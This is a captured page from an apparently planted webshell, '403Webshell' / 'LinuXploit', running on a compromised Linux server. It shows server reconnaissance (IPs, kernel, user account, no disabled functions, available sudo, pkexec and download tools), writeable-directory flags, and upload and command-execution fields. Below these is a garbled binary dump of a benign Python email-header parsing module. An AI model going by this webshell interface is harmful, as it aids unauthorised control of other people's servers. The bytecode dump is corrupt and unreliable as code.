403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/authres/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/authres/__pycache__/core.cpython-36.pyc
3

g�E]���@svdZdZdZddlZeejd��Zdd�ZdZd	Z	d
Z
dZde	e	fZd
Z
dZdZdZdZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�ZGd d!�d!e�ZGd"d#�d#e�ZGd$d%�d%e�ZGd&d'�d'e�ZGd(d)�d)e�Z Gd*d+�d+e�Z!Gd,d-�d-e�Z"Gd.d/�d/e�Z#Gd0d1�d1e�Z$Gd2d3�d3e�Z%ee e!e"e#e$gZ&dS)4z_
Module for parsing ``Authentication-Results`` headers as defined in RFC 5451,
7001, and 7601.
zJulian Mehnle, Scott Kittermanzjulian@mehnle.net�N�cCs
t|t�S)N)�
isinstance�retype)�obj�r�/usr/lib/python3.6/core.py�isre#srz[A-Za-z0-9!#$%&'*+.^_`{|}~-]+z[\t ]z[\x21-\x7e]z\\[\t \x21-\x7e]z(?:%s*(?:\r\n|\n))?%s+z[\x21-\x27\x2a-\x5b\x5d-\x7e]z[A-Za-z0-9!#$%&'*+/=?^_`{|}~-]z[\x21\x23-\x5b\x5d-\x7e]z[A-Za-z0-9!#$%&'*+?^_`{|}~-]z [A-Za-z0-9!#$%&'*+/=?^_`{|}~.@-]c@seZdZdZddd�ZdS)�AuthResErrorz4Generic exception generated by the `authres` packageNcCstj||�||_dS)N)�	Exception�__init__�message)�selfrrrrr:szAuthResError.__init__)N)�__name__�
__module__�__qualname__�__doc__rrrrrr	7sr	c@s"eZdZdZddd�Zdd�ZdS)�SyntaxErrorz<Syntax error while parsing ``Authentication-Results`` headerNcCs>tj||�|dks t|�dkr(||_n|dd�d|_dS)N�(rz...)r	r�len�
parse_text)r
rrrrrrAszSyntaxError.__init__cCsH|jr|jrdj|j|j�S|jr.dj|j�S|jr@dj|j�SdSdS)NzSyntax error: {0} at: {1}zSyntax error: {0}zSyntax error at: {0}zSyntax error)rr�format)r
rrr�__str__HszSyntaxError.__str__)NN)rrrrrrrrrrr>s
rc@seZdZdZddd�ZdS)�UnsupportedVersionErrorz5Unsupported ``Authentication-Results`` header versionNcCs"|p
d|}tj||�||_dS)Nz5Unsupported Authentication-Results header version: %s)r	r�version)r
rrrrrrUsz UnsupportedVersionError.__init__)NN)rrrrrrrrrrRsrc@seZdZdZdS)�OrphanCommentErrorz)Comment without associated header elementN)rrrrrrrrr[src@seZdZdZdd�ZdS)�
QuotableValuez�
    An RFC 5451 ``value``/``pvalue`` with the capability to quote itself as an
    RFC 5322 ``quoted-string`` if necessary.
    cCs:tjd|�r|Stjdt|�r$|Sdtjdd|�SdS)N�@z^%s$z"%s"z(["\\])z\\\1)�re�search�match�RFC2045_TOKEN_PATTERN�sub)r
rrr�quote_if_neededis
zQuotableValue.quote_if_neededN)rrrrr"rrrrrdsrc@s"eZdZdZddd�Zdd�ZdS)�AuthenticationResultPropertyzi
    A property (``type.name=value``) of a result clause of an
    ``Authentication-Results`` header
    NcCs,|j�|_|j�|_|ot|�|_||_dS)N)�lower�type�namer�value�comment)r
r%r&r'r(rrrrzs

z%AuthenticationResultProperty.__init__cCs>|jr"d|j|j|jj�|jfSd|j|j|jj�fSdS)Nz
%s.%s=%s (%s)z%s.%s=%s)r(r%r&r'r")r
rrrr�sz$AuthenticationResultProperty.__str__)NN)rrrrrrrrrrr#ts
r#cCsL||fdd�}||fdd�}||fdd�}||fdd�}t||�t||�fS)	z�
    Return a property attribute to be bound to an `AuthenticationResult` class
    for accessing the `AuthenticationResultProperty` objects in its `properties`
    attribute.
    cSs|j||�}|o|jS)N)�_find_first_propertyr')r
r%r&�result_propertyrrr�value_getter�sz2make_result_class_properties.<locals>.value_gettercSs|j||�}|o|jS)N)r)r()r
r%r&r*rrr�comment_getter�sz4make_result_class_properties.<locals>.comment_gettercSs8|j||�}|s&t||�}|jj|�|o0t|�|_dS)N)r)r#�
properties�appendrr')r
r'r%r&r*rrr�value_setter�s

z2make_result_class_properties.<locals>.value_settercSs*|j||�}|s td||f��||_dS)NzPCannot include result property comment without associated result property: %s.%s)r)rr()r
r(r%r&r*rrr�comment_setter�s
z4make_result_class_properties.<locals>.comment_setter)�property)r%r&r+r,r/r0rrr�make_result_class_properties�s
r2c@seZdZdS)�BaseAuthenticationResultN)rrrrrrrr3�sr3c@s"eZdZdZddd�Zdd�ZdS)�NoneAuthenticationResultzBSole ``none`` clause of an empty ``Authentication-Results`` headerNcCs
||_dS)N)r()r
r(rrrr�sz!NoneAuthenticationResult.__init__cCs|jrd|jSdSdS)Nz	none (%s)�none)r()r
rrrr�s
z NoneAuthenticationResult.__str__)N)rrrrrrrrrrr4�s
r4c@s*eZdZdZd	dd�Zdd�Zdd�ZdS)
�AuthenticationResultz=Generic result clause of an ``Authentication-Results`` headerNcCsb|j�|_|o|j�|_|j�|_|js0td��||_|oJttjdd|��|_	||_
|pZg|_dS)Nz1Required result argument missing or None or emptyz[^\x20-\x7e]�?)r$�methodr�result�
ValueError�result_commentrrr!�reason�reason_commentr-)r
r8rr9r;r<r=r-rrrr�s

zAuthenticationResult.__init__cCs�g}|j|j�|jr,|jd�|j|j�|jd�|j|j�|jrX|jd|j�|jr�|jd|jj��|jr�|jd|j�x&|jD]}|jd�|jt	|��q�Wdj
|�S)N�/�=z (%s)z
 reason=%s� r)r.r8rr9r;r<r"r=r-�str�join)r
�strs�	property_rrrr�s"


zAuthenticationResult.__str__cs&��fdd�|jD�}|r"|dSdS)Ncs$g|]}|j�kr|j�kr|�qSr)r%r&)�.0r1)r&r%rr�
<listcomp>�sz=AuthenticationResult._find_first_property.<locals>.<listcomp>r)r-)r
r%r&r-r)r&r%rr)�s
z)AuthenticationResult._find_first_property)NNNNNN)rrrrrrr)rrrrr6�s

r6c@sfeZdZdZdZddd�Zedd�\ZZedd�\Z	Z
edd	�\ZZedd
�\Z
Zdd�Zd
d�ZdS)�DKIMAuthenticationResultz:DKIM result clause of an ``Authentication-Results`` headerZdkimNc	Csntj||j||||||�|r$||_|r.||_|	r8|	|_|
rB|
|_|rL||_|rV||_|
r`|
|_	|rj||_
dS)N)r6r�METHOD�header_d�header_d_comment�header_i�header_i_comment�header_a�header_a_comment�header_s�header_s_comment)r
rr9r;r<r=r-rIrJrKrLrMrNrOrPrrrr�s$	z!DKIMAuthenticationResult.__init__�header�d�i�a�scCs
|j|kS)zEMatch authentication result against a DKIM signature by ``header.d``.)rI)r
�signature_drrr�match_signaturesz(DKIMAuthenticationResult.match_signaturecCs|j|ko|j|kS)zVMatch authentication result against a DKIM signature by ``header.d`` and ``header.a``.)rIrM)r
rVZsignature_arrr�match_signature_algorithm
sz2DKIMAuthenticationResult.match_signature_algorithm)NNNNNNNNNNNNNN)rrrrrHrr2rIrJrKrLrMrNrOrPrWrXrrrrrG�s 

rGc@sPeZdZdZdZddd�Zedd�\ZZedd�\Z	Z
edd	�\ZZd
d�Z
dS)
�DomainKeysAuthenticationResultz@DomainKeys result clause of an ``Authentication-Results`` headerZ
domainkeysNc

	CsZtj||j||||||�|r$||_|r.||_|	r8|	|_|
rB|
|_|rL||_|rV||_dS)N)	r6rrHrIrJ�header_from�header_from_comment�
header_sender�header_sender_comment)
r
rr9r;r<r=r-rIrJrZr[r\r]rrrrsz'DomainKeysAuthenticationResult.__init__rQrR�from�sendercCs
|j|kS)zKMatch authentication result against a DomainKeys signature by ``header.d``.)rI)r
rVrrrrW,sz.DomainKeysAuthenticationResult.match_signature)NNNNNNNNNNNN)rrrrrHrr2rIrJrZr[r\r]rWrrrrrYs
rYc
@s:eZdZdZdZd	dd�Zedd�\ZZedd�\Z	Z
dS)
�SPFAuthenticationResultz9SPF result clause of an ``Authentication-Results`` headerZspfNc	CsFtj||j||||||�|r$||_|r.||_|	r8|	|_|
rB|
|_dS)N)r6rrH�	smtp_helo�smtp_helo_comment�
smtp_mailfrom�smtp_mailfrom_comment)r
rr9r;r<r=r-rarbrcrdrrrr6sz SPFAuthenticationResult.__init__�smtpZhelo�mailfrom)
NNNNNNNNNN)rrrrrHrr2rarbrcrdrrrrr`1s
	r`c@sneZdZdZdZddd�Zedd�\ZZedd�\Z	Z
edd	�\ZZedd
�\Z
Zedd��Zed
d��ZdS)�SenderIDAuthenticationResultz?Sender ID result clause of an ``Authentication-Results`` headerz	sender-idNc	Csntj||j||||||�|r$||_|r.||_|	r8|	|_|
rB|
|_|rL||_|rV||_|
r`|
|_	|rj||_
dS)N)r6rrHrZr[r\r]�header_resent_from�header_resent_from_comment�header_resent_sender�header_resent_sender_comment)r
rr9r;r<r=r-rZr[r\r]rhrirjrkrrrrLs$	z%SenderIDAuthenticationResult.__init__rQr^r_zresent-fromz
resent-sendercCs|jp|jp|jp|jS)N)rjrhr\rZ)r
rrr�
header_praesz'SenderIDAuthenticationResult.header_pracCs8|jr|jS|jr|jS|jr$|jS|jr0|jSdSdS)N)rjrkrhrir\r]rZr[)r
rrr�header_pra_commentnsz/SenderIDAuthenticationResult.header_pra_comment)NNNNNNNNNNNNNN)rrrrrHrr2rZr[r\r]rhrirjrkr1rlrmrrrrrgGs 

	rgc@s,eZdZdZdZddd�Zedd�\ZZdS)�IPRevAuthenticationResultz;iprev result clause of an ``Authentication-Results`` headerZiprevNc			Cs2tj||j||||||�|r$||_|r.||_dS)N)r6rrH�policy_iprev�policy_iprev_comment)	r
rr9r;r<r=r-rorprrrr�sz"IPRevAuthenticationResult.__init__�policy)NNNNNNNN)	rrrrrHrr2rorprrrrrn{s
rnc
@s:eZdZdZdZddd�Zedd�\ZZedd�\Z	Z
dS)	�SMTPAUTHAuthenticationResultz?SMTP AUTH result clause of an ``Authentication-Results`` headerZauthNc	CsFtj||j||||||�|r$||_|r.||_|	r8|	|_|
rB|
|_dS)N)r6rrH�	smtp_auth�smtp_auth_commentrcrd)r
rr9r;r<r=r-rsrtrcrdrrrr�s
z%SMTPAUTHAuthenticationResult.__init__rerf)
NNNNNNNNNN)rrrrrHrr2rcrdrsrtrrrrrr�s
	rrc@seZdZdgZe�ZdZejdej	�Z
edd��Zedd��Z
d:d
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Z d0d1�Z!d2d3�Z"d4d5�Z#d6d7�Z$d8d9�Z%dS);�AuthenticationResultsHeader�1zAuthentication-Resultsz^Authentication-Results:\s*cCs<|jjd|d�\}}|dkr(|j||�Stddj|���dS)z�
        Creates an `AuthenticationResultsHeader` object by parsing an ``Authentication-
        Results`` header (expecting the field name at the beginning).  Expects the
        header to have been unfolded.
        r�Zparse_with_namez1Not an "Authentication-Results" header field: {0}N)�HEADER_FIELD_PATTERN�subn�parse_valuerr)r
�feature_context�string�nrrr�parse�sz!AuthenticationResultsHeader.parsecCs ||�}|jd�|_|j�|S)z�
        Creates an `AuthenticationResultsHeader` object by parsing an ``Authentication-
        Results`` header value.  Expects the header value to have been unfolded.
        z
	 )�rstrip�_parse_text�_parse)r
r{r|rQrrrrz�sz'AuthenticationResultsHeader.parse_valueNFcCsz||_|o|j�|_||_|o(t|�j�|_|jrJ|j|jkrJt|jd��||_|jrf|jrft	d��|plg|_
||_dS)N)rzGCannot include header version comment without associated header version)r{r$�authserv_id�authserv_id_commentrAr�VERSIONSr�version_commentr�results�strict)r
r{r�r�rr�r�r�rrrr�s
z$AuthenticationResultsHeader.__init__cCsdj|jd|j�f�S)Nrz: )rB�HEADER_FIELD_NAME�header_value)r
rrrr�sz#AuthenticationResultsHeader.__str__cCs�g}|j|j�|jr&|jd|j�|jrX|jd�|j|j�|jrX|jd|j�t|j�r�xB|jD]}|jd�|jt|��qjWn|jd�|jt|j��dj	|�S)z7Return just the value of Authentication-Results header.z (%s)r@z; r)
r.r�r�rr�rr�rA�NONE_RESULTrB)r
rCr9rrrr��s 



z(AuthenticationResultsHeader.header_valuecCs�|j�}|std|j��|j�|j�}|r@||jkr@t|d��|j�g}d}x*|rz|j�}|rR|j|�||j	krRPqRWt
|�s�td|j��n||j	gkr�g}|j�|j�|j�|_
|o�|j�|_||_dS)NzExpected authserv-id)rTz'Expected "none" or at least one resinfo)�_parse_authserv_idrr��_parse_rfc5322_cfws�_parse_versionr�r�_parse_resinfor.r�r�
_parse_endr$r�rr�)r
r�rr�r9rrrr��s2



z"AuthenticationResultsHeader._parsecCs|j�S)N)�_parse_rfc5322_dot_atom)r
rrrr�sz.AuthenticationResultsHeader._parse_authserv_idcCs|jd�}|j�|o|j�S)Nz\d+)�_parse_patternr��group)r
�
version_matchrrrr�s
z*AuthenticationResultsHeader._parse_versionc	Cs�|j�|jd�sdS|j�|jd�r.|jS|j�\}}}|j�|j�}g}d}xB|r�y"|j�|j�}|rz|j|�WqV|jr��nYqVXqVW|jj	|||d|d|�SdS)N�;r5T)
r�r�r��_parse_methodspec�_parse_reasonspec�_parse_propspecr.r�r{r9)r
r8rr9r<r-rDrrrr�s,


z*AuthenticationResultsHeader._parse_resinfocCs\|j�|j�\}}|j�|jd�s2td|j��|j�|j�}|sRtd|j��|||fS)Nr?zExpected "="zExpected result)r��
_parse_methodr�rr�r�)r
r8rr9rrrr�8s
z-AuthenticationResultsHeader._parse_methodspeccCs`|j�}|std|j��|j�|jd�s2|dfS|j�|jd�}|sTtd|j��||j�fS)NzExpected methodr>z\d+zExpected version)�_parse_dot_key_atomrr�r�r�r�)r
r8r�rrrr�Ds

z)AuthenticationResultsHeader._parse_methodcCsP|jd�rL|j�|jd�s(td|j��|j�|j�}|sHtd|j��|SdS)Nr<r?zExpected "="zExpected reason)r�r�rr��_parse_rfc2045_value)r
Z
reasonspecrrrr�Qs

z-AuthenticationResultsHeader._parse_reasonspeccCs�|j�}|sdS|j�dkr^|j�|jd�|j�|j�|jd�|j�tdj|���|j�|jd�s|td|j��|j�|j�}|j�|jd�s�td	|j��|j�}|dkr�td
|j��t	|||�S)NrerQ�bodyrqz\.r?zLInvalid ptype; expected any of "smtp", "header", "body", "policy", got "{0}"zExpected "."zExpected "="zExpected pvalue)rerQr�rq)
�_parse_key_atomr$r�r�r��
_parse_pvaluerrr�r#)r
ZptyperDZpvaluerrrr�\s.



z+AuthenticationResultsHeader._parse_propspeccCs�|j�|j�}|r\|jd�r@|j�}|j�|rZd||fSq�|j�tjd|j�r�|SnJ|jd�r�|j�}|j�|r�d|Sn"|jdt�}|j�|r�|j�SdS)Nrz"%s"@%sz;|$z%s*)	r��_parse_rfc5322_quoted_stringr�r�rrr��
PTEXT_PATTERNr�)r
Z
quoted_stringZdomain_nameZpvalue_matchrrrr�us(


z)AuthenticationResultsHeader._parse_pvaluecCs|jdkrdStd|j��dS)NrTzExpected end of text)r�r)r
rrrr��s
z&AuthenticationResultsHeader._parse_endcsJdg��fdd�}t|�r|ntjd|tj�}|j||jd�|_�dS)Ncs|�d<dS)Nrrr)�m)rrr�matched�sz;AuthenticationResultsHeader._parse_pattern.<locals>.matched�^rwr)rr�compile�Ir!r�)r
�patternr�Zregexpr)rrr��s
z*AuthenticationResultsHeader._parse_patterncCs|j�p|j�S)N)�_parse_rfc2045_tokenr�)r
rrrr��sz0AuthenticationResultsHeader._parse_rfc2045_valuecCs|jt�}|o|j�S)N)r�r r�)r
Ztoken_matchrrrr��s
z0AuthenticationResultsHeader._parse_rfc2045_tokencCs�|j�|jd�sdSd}d}x6|rT|jt�}|r>||j�7}|j�}|r ||7}q W|jt�|jd�svtd|j��|j�|S)Nz^"rT�"zExpected <">)r�r��RFC5322_FWS_PATTERNr��_parse_rfc5322_qcontentrr�)r
Zall_qcontentZqcontent�	fws_matchrrrr��s"



z8AuthenticationResultsHeader._parse_rfc5322_quoted_stringcCs4|jdt�}|r|j�S|jt�}|r0|j�SdS)Nz%s+)r��RFC5322_QTEXT_PATTERNr��RFC5322_QUOTED_PAIR_PATTERN)r
Zqtext_matchZquoted_pair_matchrrrr��s
z3AuthenticationResultsHeader._parse_rfc5322_qcontentcCs.|j�|jdttf�}|j�|o,|j�S)Nz
%s+(?:\.%s+)*)r�r��RFC5322_ATEXT_PATTERNr�)r
�dot_atom_text_matchrrrr��s
z3AuthenticationResultsHeader._parse_rfc5322_dot_atomcCs.|j�|jdttf�}|j�|o,|j�S)Nz
%s+(?:\.%s+)*)r�r��
KTEXT_PATTERNr�)r
r�rrrr��s
z/AuthenticationResultsHeader._parse_dot_key_atomcCs*|j�|jdt�}|j�|o(|j�S)Nz%s+)r�r�r�r�)r
r�rrrr��sz+AuthenticationResultsHeader._parse_key_atomcCs>d}d}x|r&|p|jt�}|j�}q
W|p4|jt�}|p<|S)NFT)r�r��_parse_rfc5322_comment)r
r�Z
comment_matchrrrr��sz/AuthenticationResultsHeader._parse_rfc5322_cfwscCs@|jd�r<x|jt�s|j�r qW|jd�r0dStd|j��dS)Nz\(z^\)Tz(comment: expected FWS or ccontent or ")")r�r��_parse_rfc5322_ccontentrr�)r
rrrr�s

z2AuthenticationResultsHeader._parse_rfc5322_commentcCs0|jdt�rdS|jt�r dS|j�r,dSdS)Nz%s+T)r��RFC5322_CTEXT_PATTERNr�r�)r
rrrr�s
z3AuthenticationResultsHeader._parse_rfc5322_ccontent)NNNNNF)&rrrr�r4r�r�rr�r�rx�classmethodr~rzrrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrru�s@


!
;	
		ru)'r�
__author__Z	__email__rr%r�rrr ZRFC5234_WSP_PATTERNZRFC5234_VCHAR_PATTERNr�r�r�r�r�r�r�r
r	rrrrAr�objectr#r2r3r4r6rGrYr`rgrnrrruZRESULT_CLASSESrrrr�<module>sP		"/(4u

Youez - 2016 - github.com/yon3zu
LinuXploit